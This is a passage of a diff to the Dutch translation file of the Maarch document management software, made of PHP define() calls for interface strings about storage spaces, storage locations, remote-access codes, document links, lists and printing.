define('_THE_DOCSERVER_DOES_NOT_HAVE_THE_ADEQUATE_RIGHTS', 'Deze opslagruimte heeft onvoldoende rechten...'); +} +if (!defined('_DOCSERVER_DISABLED')) { + define('_DOCSERVER_DISABLED', 'Opslagruimte opgeschort'); +} +if (!defined('_DOCSERVER_ENABLED')) { + define('_DOCSERVER_ENABLED', 'Opslagruimte actief'); +} +if (!defined('_ALREADY_EXISTS_FOR_THIS_TYPE_OF_DOCSERVER')) { + define('_ALREADY_EXISTS_FOR_THIS_TYPE_OF_DOCSERVER', 'bestaat reeds voor dit type'); +} +if (!defined('_DOCSERVER_LOCATION_ENABLED')) { + define('_DOCSERVER_LOCATION_ENABLED', 'Opslagplaats actief'); +} +if (!defined('_LINK_EXISTS')) { + define('_LINK_EXISTS', 'Er bestaat een verbinding met een ander voorwerp'); +} +if (!defined('_DOCSERVER_TYPE_ID')) { + define('_DOCSERVER_TYPE_ID', 'Gebruikersnaam van opslagruimtetype'); +} +if (!defined('_DOCSERVER_TYPE')) { + define('_DOCSERVER_TYPE', 'Zonetype'); +} +if (!defined('_DOCSERVER_TYPES_LIST')) { + define('_DOCSERVER_TYPES_LIST', 'Lijst van opslagruimtetypes'); +} +if (!defined('_ALL_DOCSERVER_TYPES')) { + define('_ALL_DOCSERVER_TYPES', 'Alles weergeven'); +} +if (!defined('_DOCSERVER_TYPE_LABEL')) { + define('_DOCSERVER_TYPE_LABEL', 'Label van opslagruimtetype'); +} +if (!defined('_DOCSERVER_TYPES')) { + define('_DOCSERVER_TYPES', 'Opslagruimtetype(s)'); +} +if (!defined('_IS_CONTAINER')) { + define('_IS_CONTAINER', 'Container'); +} +if (!defined('_IS_COMPRESSED')) { + define('_IS_COMPRESSED', 'Gecomprimeerd'); +} +if (!defined('_IS_META')) { + define('_IS_META', 'Bevat metagegevens'); +} +if (!defined('_IS_LOGGED')) { + define('_IS_LOGGED', 'Bevat logboeken'); +} +if (!defined('_IS_SIGNED')) { + define('_IS_SIGNED', 'Bevat een afdruk'); +} +if (!defined('_COMPRESS_MODE')) { + define('_COMPRESS_MODE', 'Compressiewijze'); +} +if (!defined('_META_TEMPLATE')) { + define('_META_TEMPLATE', 'Metagegevensmodel'); +} +if (!defined('_LOG_TEMPLATE')) { + define('_LOG_TEMPLATE', 'Logboekmodel'); +} +if (!defined('_FINGERPRINT_MODE')) { + define('_FINGERPRINT_MODE', 'Algoritme van de afdrukberekening'); +} +if (!defined('_CONTAINER_MAX_NUMBER')) { + define('_CONTAINER_MAX_NUMBER', 'Maximumgrootte van de container'); +} +if (!defined('_DOCSERVER_TYPE_MODIFICATION')) { + define('_DOCSERVER_TYPE_MODIFICATION', 'Aanpassing van opslagruimtetype'); +} +if (!defined('_DOCSERVER_TYPE_ADDITION')) { + define('_DOCSERVER_TYPE_ADDITION', 'Een opslagruimtetype toevoegen'); +} +if (!defined('_DOCSERVER_TYPE_ADDED')) { + define('_DOCSERVER_TYPE_ADDED', 'Opslagruimtetype toegevoegd'); +} +if (!defined('_DOCSERVER_TYPE_UPDATED')) { + define('_DOCSERVER_TYPE_UPDATED', 'Opslagruimtetype bijgewerkt'); +} +if (!defined('_DOCSERVER_TYPE_DELETED')) { + define('_DOCSERVER_TYPE_DELETED', 'Opslagruimtetype verwijderd'); +} +if (!defined('_NOT_CONTAINER')) { + define('_NOT_CONTAINER', 'Geen container'); +} +if (!defined('_CONTAINER')) { + define('_CONTAINER', 'Een container'); +} +if (!defined('_NOT_COMPRESSED')) { + define('_NOT_COMPRESSED', 'Niet gecomprimeerd'); +} +if (!defined('_COMPRESSED')) { + define('_COMPRESSED', 'Gecomprimeerd'); +} +if (!defined('_COMPRESSION_MODE')) { + define('_COMPRESSION_MODE', 'Compressiewijze'); +} +if (!defined('_GZIP_COMPRESSION_MODE')) { + define('_GZIP_COMPRESSION_MODE', 'Compressiewijze GZIP (tar.gz) enkel beschikbaar voor de raadpleging'); +} +if (!defined('_DOCSERVERS')) { + define('_DOCSERVERS', 'Opslagruimte(s)'); +} +if (!defined('_DEVICE_LABEL')) { + define('_DEVICE_LABEL', 'Label disposit'); +} +if (!defined('_SIZE_FORMAT')) { + define('_SIZE_FORMAT', 'Formaat van de grootte'); +} +if (!defined('_SIZE_LIMIT')) { + define('_SIZE_LIMIT', 'Maximumgrootte'); +} +if (!defined('_ACTUAL_SIZE')) { + define('_ACTUAL_SIZE', 'Huidige grootte'); +} +if (!defined('_COLL_ID')) { + define('_COLL_ID', 'Gebruikersnaam van de verzameling'); +} +if (!defined('_PATH_TEMPLATE')) { + define('_PATH_TEMPLATE', 'Toegangspad'); +} +if (!defined('_ADR_PRIORITY')) { + define('_ADR_PRIORITY', 'Sequentieprioriteit van de opslagruimte'); +} +if (!defined('_IS_READONLY')) { + define('_IS_READONLY', 'Toegang in alleen-lezen formaat'); +} +if (!defined('_PERCENTAGE_FULL')) { + define('_PERCENTAGE_FULL', 'Vulpercentage'); +} +if (!defined('_PATH_OF_DOCSERVER_UNAPPROACHABLE')) { + define('_PATH_OF_DOCSERVER_UNAPPROACHABLE', 'Onbereikbaar pad'); +} +if (!defined('_ALL_DOCSERVERS')) { + define('_ALL_DOCSERVERS', 'Alles weergeven'); +} +if (!defined('_DOCSERVER')) { + define('_DOCSERVER', 'een docserver'); +} +if (!defined('_DOCSERVER_MODIFICATION')) { + define('_DOCSERVER_MODIFICATION', 'Wijziging van opslagruimte'); +} +if (!defined('_DOCSERVER_ADDITION')) { + define('_DOCSERVER_ADDITION', 'Een opslagruimte toevoegen'); +} +if (!defined('_DOCSERVER_UPDATED')) { + define('_DOCSERVER_UPDATED', 'Opslagruimte bijgewerkt'); +} +if (!defined('_DOCSERVER_DELETED')) { + define('_DOCSERVER_DELETED', 'Opslagruimte verwijderd'); +} +if (!defined('_DOCSERVER_ADDED')) { + define('_DOCSERVER_ADDED', 'Opslagruimte toegevoegd'); +} +if (!defined('_DOCSERVERS_LIST')) { + define('_DOCSERVERS_LIST', 'Lijst van opslagruimtes'); +} +if (!defined('_GB')) { + define('_GB', 'Gigabyte'); +} +if (!defined('_TB')) { + define('_TB', 'Terabyte'); +} +if (!defined('_MB')) { + define('_MB', 'Megabyte'); +} +if (!defined('_SIZE_LIMIT_NUMBER')) { + define('_SIZE_LIMIT_NUMBER', 'Limietgrootte'); +} +if (!defined('_DOCSERVER_ATTACHED_TO_RES_X')) { + define('_DOCSERVER_ATTACHED_TO_RES_X', 'De documenten worden op deze opslagruimte opgeslagen'); +} +if (!defined('_DOCSERVER_LOCATION_ID')) { + define('_DOCSERVER_LOCATION_ID', 'Gebruikersnaam van de opslagplaats'); +} +if (!defined('_DOCSERVER_LOCATIONS')) { + define('_DOCSERVER_LOCATIONS', 'Opslagplaats(en)'); +} +if (!defined('_IPV4')) { + define('_IPV4', 'Adres IPv4'); +} +if (!defined('_IPV6')) { + define('_IPV6', 'Adres IPv6'); +} +if (!defined('_NET_DOMAIN')) { + define('_NET_DOMAIN', 'Domein'); +} +if (!defined('_MASK')) { + define('_MASK', 'Masker'); +} +if (!defined('_NET_LINK')) { + define('_NET_LINK', 'URL van front-end'); +} +if (!defined('_DOCSERVER_LOCATION_ADDITION')) { + define('_DOCSERVER_LOCATION_ADDITION', 'Een opslagplaats toevoegen'); +} +if (!defined('_DOCSERVER_LOCATION_MODIFICATION')) { + define('_DOCSERVER_LOCATION_MODIFICATION', 'Wijziging van opslagplaats'); +} +if (!defined('_ALL_DOCSERVER_LOCATIONS')) { + define('_ALL_DOCSERVER_LOCATIONS', 'Alles weergeven'); +} +if (!defined('_DOCSERVER_LOCATIONS_LIST')) { + define('_DOCSERVER_LOCATIONS_LIST', 'Lijst van opslagplaatsen'); +} +if (!defined('_DOCSERVER_LOCATION')) { + define('_DOCSERVER_LOCATION', 'een opslagplaats'); +} +if (!defined('_DOCSERVER_LOCATION_UPDATED')) { + define('_DOCSERVER_LOCATION_UPDATED', 'Opslagplaats bijgewerkt'); +} +if (!defined('_DOCSERVER_LOCATION_ADDED')) { + define('_DOCSERVER_LOCATION_ADDED', 'Opslagplaats toegevoegd'); +} +if (!defined('_DOCSERVER_LOCATION_DELETED')) { + define('_DOCSERVER_LOCATION_DELETED', 'Opslagplaats verwijderd'); +} +if (!defined('_DOCSERVER_LOCATION_DISABLED')) { + define('_DOCSERVER_LOCATION_DISABLED', 'Opslagplaats uitgeschakeld'); +} +if (!defined('_DOCSERVER_LOCATION_ENABLED')) { + define('_DOCSERVER_LOCATION_ENABLED', 'Opslagruimte ingeschakeld'); +} +if (!defined('_IP_V4_ADRESS_NOT_VALID')) { + define('_IP_V4_ADRESS_NOT_VALID', 'Adres IPV4 onbereikbaar'); +} +if (!defined('_IP_V4_FORMAT_NOT_VALID')) { + define('_IP_V4_FORMAT_NOT_VALID', 'Fout formaat adres IPV4'); +} +if (!defined('_IP_V6_NOT_VALID')) { + define('_IP_V6_NOT_VALID', 'Fout formaat adres IPV6'); +} +if (!defined('_MASK_NOT_VALID')) { + define('_MASK_NOT_VALID', 'Masker is ongeldig'); +} +if (!defined('_FAILOVER')) { + define('_FAILOVER', 'Hervatting na fout'); +} +if (!defined('_FILE_NOT_EXISTS_ON_THE_SERVER')) { + define('_FILE_NOT_EXISTS_ON_THE_SERVER', 'Het bestand bestaat niet op de docserver'); +} +if (!defined('_NO_RIGHT_ON_RESOURCE_OR_RESOURCE_NOT_EXISTS')) { + define('_NO_RIGHT_ON_RESOURCE_OR_RESOURCE_NOT_EXISTS', 'Geen enkel recht op de gevraagde asset of de asset is niet beschikbaar'); +} +if (!defined('_PROCESS_DELAY')) { + define('_PROCESS_DELAY', 'Verwerkingstermijn'); +} +if (!defined('_ALERT_DELAY_1')) { + define('_ALERT_DELAY_1', 'Termijn van het 1e alarm'); +} +if (!defined('_ALERT_DELAY_2')) { + define('_ALERT_DELAY_2', 'Termijn van het 2e alarm'); +} +if (!defined('_ERROR_PARAMETERS_FUNCTION')) { + define('_ERROR_PARAMETERS_FUNCTION', 'Instellingsfout...'); +} +if (!defined('_SYNTAX_OK')) { + define('_SYNTAX_OK', 'Syntax OK'); +} +if (!defined('_TECHNICAL_INFORMATIONS')) { + define('_TECHNICAL_INFORMATIONS', 'Technische informatie'); +} +if (!defined('_SOURCE_FILE_PROPERTIES')) { + define('_SOURCE_FILE_PROPERTIES', 'Eigenschappen van het bronbestand'); +} +if (!defined('_FINGERPRINT')) { + define('_FINGERPRINT', 'Digitale afdruk'); +} +if (!defined('_OFFSET')) { + define('_OFFSET', 'Offset'); +} +if (!defined('_SETUP')) { + define('_SETUP', 'Configureren'); +} +if (!defined('_WELCOME_TEXT_LOAD')) { + define('_WELCOME_TEXT_LOAD', 'Laden van tekst homepage'); +} +if (!defined('_WRONG_FUNCTION_OR_WRONG_PARAMETERS')) { + define('_WRONG_FUNCTION_OR_WRONG_PARAMETERS', 'Foute oproep of foute instelling'); +} +if (!defined('_INDEXING_INSERT_ERROR')) { + define('_INDEXING_INSERT_ERROR', 'Indexering: fout tijdens het invoegen'); +} +if (!defined('_LOGIN_HISTORY')) { + define('_LOGIN_HISTORY', 'Verbinding van de gebruiker'); +} +if (!defined('_LOGOUT_HISTORY')) { + define('_LOGOUT_HISTORY', 'Afmelden van de gebruiker'); +} +if (!defined('_TO_MASTER_DOCUMENT')) { + define('_TO_MASTER_DOCUMENT', 'bij masterdocument nr.'); +} +if (!defined('_DETAILS_PRINT')) { + define('_DETAILS_PRINT', 'Verbindingsfiche nr.'); +} +if (!defined('_NOTES_1')) { + define('_NOTES_1', 'Voorbeeld Dienstnota’s 1'); +} +if (!defined('_NOTES_2')) { + define('_NOTES_2', 'Voorbeeld Dienstnota’s 2'); +} +if (!defined('_NOTES_3')) { + define('_NOTES_3', 'Voorbeeld Dienstnota’s 3'); +} +if (!defined('_WHERE_CLAUSE_NOT_SECURE')) { + define('_WHERE_CLAUSE_NOT_SECURE', 'Niet beveiligde Where clause'); +} +if (!defined('_SQL_QUERY_NOT_SECURE')) { + define('_SQL_QUERY_NOT_SECURE', 'Niet beveiligd SQL-verzoek'); +} +if (!defined('_PUT_DOC_ON_VALIDATION')) { + define('_PUT_DOC_ON_VALIDATION', 'Het te bevestigen document verzenden'); +} +if (!defined('_REALLY_PUT_DOC_ON_VALIDATION')) { + define('_REALLY_PUT_DOC_ON_VALIDATION', 'De verzending in goedkeuring bevestigen'); +} +if (!defined('_ASK_RA_CODE_1')) { + define('_ASK_RA_CODE_1', 'Er zal een e-mail verzonden worden naar het adres:'); +} +if (!defined('_ASK_RA_CODE_2')) { + define('_ASK_RA_CODE_2', 'Eens de code gekend is, kan u nogmaals proberen te verbinden.'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_1')) { + define('_CONFIRM_ASK_RA_CODE_1', 'Hallo'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_2')) { + define('_CONFIRM_ASK_RA_CODE_2', 'uw verbindingscode op afstand voor de Maarch applicatie is:'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_3')) { + define('_CONFIRM_ASK_RA_CODE_3', 'deze code blijft geldig tot'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_4')) { + define('_CONFIRM_ASK_RA_CODE_4', 'Om u te verbinden'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_5')) { + define('_CONFIRM_ASK_RA_CODE_5', 'Klik hier'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_6')) { + define('_CONFIRM_ASK_RA_CODE_6', 'Uw Maarch verbindingscode'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_7')) { + define('_CONFIRM_ASK_RA_CODE_7', 'Er werd een e-mail naar uw e-mailadres verzonden'); +} +if (!defined('_CONFIRM_ASK_RA_CODE_8')) { + define('_CONFIRM_ASK_RA_CODE_8', 'Poging tot nieuwe verbinding'); +} +if (!defined('_TRYING_TO_CONNECT_FROM_NOT_ALLOWED_IP')) { + define('_TRYING_TO_CONNECT_FROM_NOT_ALLOWED_IP', 'U probeert u te verbinden vanuit een niet geregistreerde plaats.'); +} +if (!defined('_PLEASE_ENTER_YOUR_RA_CODE')) { + define('_PLEASE_ENTER_YOUR_RA_CODE', 'Voer de bijkomende toegangscode in.'); +} +if (!defined('_ASK_AN_RA_CODE')) { + define('_ASK_AN_RA_CODE', 'Een toegangscode vragen'); +} +if (!defined('_RA_CODE_1')) { + define('_RA_CODE_1', 'Bijkomende code'); +} +if (!defined('_CAN_T_CONNECT_WITH_THIS_IP')) { + define('_CAN_T_CONNECT_WITH_THIS_IP', 'U kunt zich niet vanuit een niet geregistreerde plaats verbinden.'); +} +if (!defined('_LOADING_INFORMATIONS')) { + define('_LOADING_INFORMATIONS', 'Laden van de gegevens'); +} +if (!defined('_BY')) { + define('_BY', 'door'); +} +if (!defined('_REVERSE_CHECK')) { + define('_REVERSE_CHECK', 'De selectie omkeren'); +} +if (!defined('_CHECK_ALL')) { + define('_CHECK_ALL', 'Alles aanvinken'); +} +if (!defined('_UNCHECK_ALL')) { + define('_UNCHECK_ALL', '/ uitvinken'); +} if (!defined('_EXPORT_LIST')) { define('_EXPORT_LIST', 'Exporteren in CSV-formaat'); } -if (!defined('_ADD_LINKS')) { define('_ADD_LINKS', 'Verbindingen toevoegen');} -if (!defined('_DEL_LINK')) { define('_DEL_LINK', 'De verbinding verwijderen');} -if (!defined('_POWERED_BY')) { define('_POWERED_BY', 'Powered by Maarch™.');} -if (!defined('_LINK_TO_DOC')) { define('_LINK_TO_DOC', 'Verbinden met een brief');} -if (!defined('_LINK_REFERENCE')) { define('_LINK_REFERENCE', 'Om te verbinden moet u een bestaand brief kiezen');} -if (!defined('_LINKED_TO')) { define('_LINKED_TO', 'Verbonden met het document');} -if (!defined('_NOW_LINK_WITH_THIS_ONE')) { define('_NOW_LINK_WITH_THIS_ONE', 'is nu met dit brief verbonden');} -if (!defined('_ARE_NOW_LINK_WITH_THIS_ONE')) { define('_ARE_NOW_LINK_WITH_THIS_ONE', 'zijn nu met dit brief verbonden');} -if (!defined('_ARE_NOW_LINK_WITH_MANY_DOCUMENTS')) { define('_ARE_NOW_LINK_WITH_MANY_DOCUMENTS', 'is met meerdere brieven verbonden');} -if (!defined('_LINK_TAB')) { define('_LINK_TAB', 'Verbindingen');} -if (!defined('_LINK_DESC_FOR')) { define('_LINK_DESC_FOR', 'Aan dit brief verbonden document(en)');} -if (!defined('_LINK_ASC_FOR')) { define('_LINK_ASC_FOR', 'Document(en) waaraan dit brief is verbonden');} -if (!defined('_ADD_A_LINK')) { define('_ADD_A_LINK', 'Een verbinding toevoegen');} -if (!defined('_LINK_ACTION')) { define('_LINK_ACTION', 'Verbinden');} -if (!defined('_LINK_ALREADY_EXISTS')) { define('_LINK_ALREADY_EXISTS', 'Deze verbinding bestaat al');} -if (!defined('_THE_DOCUMENT_LINK')) { define('_THE_DOCUMENT_LINK', 'Het brief');} -if (!defined('_THE_DOCUMENTS_LINK')) { define('_THE_DOCUMENTS_LINK', 'De brieven');} -if (!defined('_LINK_TO_THE_DOCUMENT')) { define('_LINK_TO_THE_DOCUMENT', 'De verbinding met het brief');} -if (!defined('_NO_LINK_WITH_THIS_ONE')) { define('_NO_LINK_WITH_THIS_ONE', 'is niet meer hiermee verbonden');} -if (!defined('_LINK_DELETED')) { define('_LINK_DELETED', 'werd verwijderd');} -if (!defined('_VERSIONS')) { define('_VERSIONS', 'Versies');} -if (!defined('_CREATE_NEW_VERSION')) { define('_CREATE_NEW_VERSION', 'Een nieuwe documentversie aanmaken');} -if (!defined('_CONTENT_MANAGEMENT_COMMENT')) { define('_CONTENT_MANAGEMENT_COMMENT', 'Beheer van de Documentversies');} -if (!defined('_VIEW_VERSIONS')) { define('_VIEW_VERSIONS', 'De documentversies bekijken');} -if (!defined('_ADD_NEW_VERSION')) { define('_ADD_NEW_VERSION', 'Een nieuwe documentversie toevoegen');} -if (!defined('_VIEW_ORIGINAL')) { define('_VIEW_ORIGINAL', 'Het originele document bekijken');} -if (!defined('_PJ')) { define('_PJ', 'Bijlagen');} -if (!defined('_CONSULT')) { define('_CONSULT', 'Raadplegen');} -if (!defined('_DOCUMENTS_LIST_WITH_ATTACHMENTS')) { define('_DOCUMENTS_LIST_WITH_ATTACHMENTS', 'Lijst met filter en antwoorden');} -if (!defined('_DOCUMENTS_LIST_BY_MODIFICATION')) { define('_DOCUMENTS_LIST_BY_MODIFICATION', 'Lijst gefilterd op wijzigingsdatum');} -if (!defined('_QUALIFY_FIRST')) { define('_QUALIFY_FIRST', 'De gedetailleerde fiche is leeg omdat het brief gekwalificeerd moet worden');} -if (!defined('_SET_PERSISTENT_MODE_ON')) { define('_SET_PERSISTENT_MODE_ON', 'De persistentie activeren');} -if (!defined('_SET_PERSISTENT_MODE_ON_DESC')) { define('_SET_PERSISTENT_MODE_ON_DESC', 'Om een brief in een bakje te bewaren ongeacht zijn status. Voegt het gegeven in de tabel basket_persistent_mode.');} -if (!defined('_SET_PERSISTENT_MODE_OFF')) { define('_SET_PERSISTENT_MODE_OFF', 'De persistentie uitschakelen');} -if (!defined('_SET_PERSISTENT_MODE_OFF_DESC')) { define('_SET_PERSISTENT_MODE_OFF_DESC', 'Reset het weergavegedrag van het brief in het bakje. Verwijdert het gegeven in de tabel basket_persistent_mode.');} -if (!defined('_ADMIN_LISTS')) { define('_ADMIN_LISTS', 'Lijstenbeheer');} -if (!defined('_ADMIN_LISTS_DESC')) { define('_ADMIN_LISTS_DESC', 'De resultatenlijsten bepalen.');} -if (!defined('_LISTS_LIST')) { define('_LISTS_LIST', 'Lijsten');} -if (!defined('_LISTS_COMMENT')) { define('_LISTS_COMMENT', 'Lijstenbeheer');} -if (!defined('_LOCK_LIST')) { define('_LOCK_LIST', 'Lijstvergrendeling');} -if (!defined('_LOCKED')) { define('_LOCKED', 'Vergrendeld');} -if (!defined('_PRINCIPAL_LIST')) { define('_PRINCIPAL_LIST', 'Hoofdlijst');} -if (!defined('_SUBLIST')) { define('_SUBLIST', 'Sublijst');} -if (!defined('_TOGGLE')) { define('_TOGGLE', 'Weergeven / Verbergen');} -if (!defined('_HELP_LIST_KEYWORDS')) { define('_HELP_LIST_KEYWORDS', 'Hulp bij de vergrendelingsclausules');} -if (!defined('_HELP_LIST_KEYWORD1')) { define('_HELP_LIST_KEYWORD1', '<b>Met de vergelijkingsoperatoren</b> kunnen twee waarden vergeleken worden: a == b :Gelijk a <> b of a != b :Verschilt a < b : Kleiner dan a > b : Groter.');} -if (!defined('_HELP_LIST_KEYWORD2')) { define('_HELP_LIST_KEYWORD2', '<b>De logische operatoren</b>: a && b: EN ( And ) Waar indien a EN b waar zijn a || b OF ( Or ) Waar indien a OF b waar is.');} -if (!defined('_HELP_LIST_KEYWORD_EXEMPLE_TITLE')) { define('_HELP_LIST_KEYWORD_EXEMPLE_TITLE', 'Vergrendelingsvoorwaarde van de lijnen de lijst/sublijst.<br><br>De toevoeging van de parameter <b>@@veldnaam@@</b> verwijst naar de waarde van het criteriumveld. Er kunnen meerdere verschillende @@veldnaam@@ in de verklaring voorkomen.');} -if (!defined('_HELP_LIST_KEYWORD_EXEMPLE')) { define('_HELP_LIST_KEYWORD_EXEMPLE', 'Bv.: @@status@@ <> NEW || @@type_id@@ <> 10<br><br>Bv.: (@@doctype_secon_level ==50 && @@dest_user@@==bblier\) || doctype_secon_level == 10');} -if (!defined('_SYNTAX_ERROR_LOCK_CLAUSE')) { define('_SYNTAX_ERROR_LOCK_CLAUSE', 'Fout in de syntax van de vergrendelingsclause');} -if (!defined('_DOCUMENTS_LIST_WITH_FILTERS')) { define('_DOCUMENTS_LIST_WITH_FILTERS', 'Lijst met filters');} -if (!defined('_DOCUMENTS_LIST_WITH_ATTACHMENTS')) { define('_DOCUMENTS_LIST_WITH_ATTACHMENTS', 'Lijst met filter en antwoorden');} -if (!defined('_DOCUMENTS_LIST_COPIES')) { define('_DOCUMENTS_LIST_COPIES', 'Lijst van de kopieën');} -if (!defined('_DOCUMENTS_LIST_EXTEND')) { define('_DOCUMENTS_LIST_EXTEND', 'Uitgebreide lijst');} -if (!defined('_DOCUMENTS_LIST')) { define('_DOCUMENTS_LIST', 'Eenvoudige lijst');} -if (!defined('_DOCUMENTS_LIST_SEARCH')) { define('_DOCUMENTS_LIST_SEARCH', 'Uitgebreide lijst');} -if (!defined('_CLICK_ICON_TO_TOGGLE')) { define('_CLICK_ICON_TO_TOGGLE', 'Klik op de icoon voor Weergeven / Verbergen');} -if (!defined('_SHOW')) { define('_SHOW', 'Weergeven');} -if (!defined('_LINES')) { define('_LINES', 'lijnen');} -if (!defined('_NO_TEMPLATE_FILE_AVAILABLE')) { define('_NO_TEMPLATE_FILE_AVAILABLE', 'Sjabloon niet beschikbaar');} -if (!defined('_GED')) { define('_GED', 'GED nr.');} -if (!defined('_EMAIL_FROM_ADDRESS')) { define('_EMAIL_FROM_ADDRESS', 'E-mail van');} -if (!defined('_EMAIL_TO_ADDRESS')) { define('_EMAIL_TO_ADDRESS', 'E-mail voor');} -if (!defined('_EMAIL_CC_ADDRESS')) { define('_EMAIL_CC_ADDRESS', 'E-mail kopie');} -if (!defined('_EMAIL_ID')) { define('_EMAIL_ID', 'E-mail ID');} -if (!defined('_EMAIL_ACCOUNT')) { define('_EMAIL_ACCOUNT', 'E-mail account');} -if (!defined('_HELP_KEYWORD_EMAIL')) { define('_HELP_KEYWORD_EMAIL', 'E-mail van de verbonden gebruiker');} -if (!defined('_EMAIL_DRAFT_SAVED')) { define("_EMAIL_DRAFT_SAVED", "Draft saved_TO_TRANSLATE");} -if (!defined('_INITIATOR')) { define('_INITIATOR', 'Aanvangende dienst');} -if (!defined('_INITIATORS')) { define('_INITIATORS', 'Aanvangende dienst(en)');} -if (!defined('_QUALIF_BUSINESS')) { define('_QUALIF_BUSINESS', 'Kwalificatie van de documenten van de businessverzameling');} -if (!defined('_PROCESS_BUSINESS')) { define('_PROCESS_BUSINESS', 'Verwerking van de documenten van de businessverzameling');} -if (!defined('_BUSINESS_LIST')) { define('_BUSINESS_LIST', 'Lijst van de businessdocumenten');} -if (!defined('_INDEXING_BUSINESS')) { define('_INDEXING_BUSINESS', '[business] Een document bewaren');} -if (!defined('_ADV_SEARCH_BUSINESS')) { define('_ADV_SEARCH_BUSINESS', '[business] Een document opzoeken');} -if (!defined('_DEPARTMENT_OWNER')) { define('_DEPARTMENT_OWNER', 'Eigenaarsdienst');} -if (!defined('_PARAMETER')) { define('_PARAMETER', 'Instelling');} -if (!defined('_PARAMETER_S')) { define('_PARAMETER_S', 'Instelling(en)');} -if (!defined('_ALL_PARAMETERS')) { define('_ALL_PARAMETERS', 'Alle');} -if (!defined('_ADMIN_PARAMETERS')) { define('_ADMIN_PARAMETERS', 'De instellingen beheren');} -if (!defined('_ADMIN_PRIORITIES')) { define('_ADMIN_PRIORITIES', 'Prioriteiten');} -if (!defined('_PRIORITY_DAYS')) { define('_PRIORITY_DAYS', 'Verwerkingstermijn in dagen');} -if (!defined('_WORKING_DAYS')) { define('_WORKING_DAYS', 'Werkdagen');} -if (!defined('_CALENDAR_DAYS')) { define('_CALENDAR_DAYS', 'Kalenderdagen');} -if (!defined('_ADD_PARAMETER')) { define('_ADD_PARAMETER', 'Nieuwe instelling');} -if (!defined('_VALUE')) { define('_VALUE', 'Waarde');} -if (!defined('_STRING')) { define('_STRING', 'Karakterreeks');} -if (!defined('_INT')) { define('_INT', 'Geheel getal');} -if (!defined('_DATE')) { define('_DATE', 'Datum');} -if (!defined('_ID_IS_MANDATORY')) { define('_ID_IS_MANDATORY', 'Gebruikersnaam verplicht');} -if (!defined('_INVALID_PARAMETER_ID')) { define('_INVALID_PARAMETER_ID', 'Gebruikersnaam ongeldig (enkel de tekens A-Z a-z 0-9 en _ zijn toegelaten');} -if (!defined('_VALUE_IS_MANDATORY')) { define('_VALUE_IS_MANDATORY', 'Verplichte waarde');} -if (!defined('_GLOBAL_SEARCH_BUSINESS')) { define('_GLOBAL_SEARCH_BUSINESS', 'Algemeen doorzoeken van documenten');} -if (!defined('_QUICK_SEARCH')) { define('_QUICK_SEARCH', 'Snelle opzoeking');} -if (!defined('_FROM_WS')) { define('_FROM_WS', 'Vanuit een webservice');} -if (!defined('_DOCUMENT')) { define('_DOCUMENT', 'document');} -if (!defined('_NOT_EXISTS')) { define('_NOT_EXISTS', 'bestaat niet');} -if (!defined('_CHOOSE_TYPE')) { define('_CHOOSE_TYPE', 'Kies een typologie');} -if (!defined('_DEPARTMENT_OWNER')) { define('_DEPARTMENT_OWNER', 'Eenheid waartoe het behoort');} -if (!defined('_FOLDER')) { define('_FOLDER', 'Seriële map');} -if (!defined('_CHOOSE_CURRENT_STATUS')) { define('_CHOOSE_CURRENT_STATUS', 'Huidige status bewaren');} -if (!defined('_PRINT_DOC_FROM_LIST')) { define('_PRINT_DOC_FROM_LIST', 'De verbindingsfiches van de brieven afdrukken');} -if (!defined('_PRINT_LIST')) { define('_PRINT_LIST', 'De lijst afdrukken');} -if (!defined('_PRINT_CATEGORY')) { define('_PRINT_CATEGORY', 'Categorie');} -if (!defined('_PRINT_DOC_DATE')) { define('_PRINT_DOC_DATE', 'Datum van het brief');} -if (!defined('_PRINT_PROCESS_LIMIT_DATE')) { define('_PRINT_PROCESS_LIMIT_DATE', 'Verwerkingsdeadline');} -if (!defined('_PRINT_PRIORITY')) { define('_PRINT_PRIORITY', 'Prioriteit');} -if (!defined('_PRINT_CONTACT')) { define('_PRINT_CONTACT', 'CONTACT');} -if (!defined('_PRINT_SUBJECT')) { define('_PRINT_SUBJECT', 'ONDERWERP');} -if (!defined('_PRINT_DATE')) { define('_PRINT_DATE', 'Afdrukdatum');} -if (!defined('_PRINT_FOLDER')) { define('_PRINT_FOLDER', 'Map');} -if (!defined('_PRINT_ARBOX')) { define('_PRINT_ARBOX', 'Archiefdoos');} -if (!defined('_PRINT_STATUS')) { define('_PRINT_STATUS', 'Status');} -if (!defined('_PRINT_ALT_IDENTIFIER')) { define('_PRINT_ALT_IDENTIFIER', 'Chrononummer');} -if (!defined('_PRINTED_FILE_NUMBER')) { define('_PRINTED_FILE_NUMBER', 'Verbindingsfiche');} -if (!defined('_CREATED_ON')) { define('_CREATED_ON', 'Aangemaakt op');} -if (!defined('_MULTI')) { define('_MULTI', 'Multi');} -if (!defined('_MULTI_CONTACTS')) { define('_MULTI_CONTACTS', 'Veelvuldige contacten');} -if (!defined('_CONTACT_EXTERNAL')) { define('_CONTACT_EXTERNAL', 'Extern contact');} -if (!defined('_CONTACT_INTERNAL')) { define('_CONTACT_INTERNAL', 'Intern contact');} -if (!defined('_MONITORING_NUMBER')) { define('_MONITORING_NUMBER', 'Aanbevolen nr.');} -if (!defined('_EXPORT_CONTACT')) { define('_EXPORT_CONTACT', 'Contacten exporteren');} -if (!defined('_WITHOUT_FILE')) { define('_WITHOUT_FILE', 'Zonder bestand');} -if (!defined('_ONLY_ALPHANUM')) { define('_ONLY_ALPHANUM', 'Enkel alfanumerieke tekens worden aanvaard');} -if (!defined('_ONLY_ALPHABETIC')) { define('_ONLY_ALPHABETIC', 'Enkel alfabetische tekens worden aanvaard');} -if (!defined('_CLOSE_MAIL_AND_INDEX')) { define('_CLOSE_MAIL_AND_INDEX', 'Een brief afsluiten en de indexering starten');} -if (!defined('_CLOSE_MAIL_AND_INDEX_DESC')) { define('_CLOSE_MAIL_AND_INDEX_DESC', 'Om de afsluitingsdatum van een brief bij te werken (closing_date van tabel res_letterbox) EN de indexeringspagina te openen om een nieuw document te bewaren.');} -if (!defined('_DOC_NOT_CLOSED')) { define('_DOC_NOT_CLOSED', 'Deze brief is niet afgesloten');} -if (!defined('_SECURITY_MESSAGE')) { define('_SECURITY_MESSAGE', 'Veiligheidsboodschap');} -if 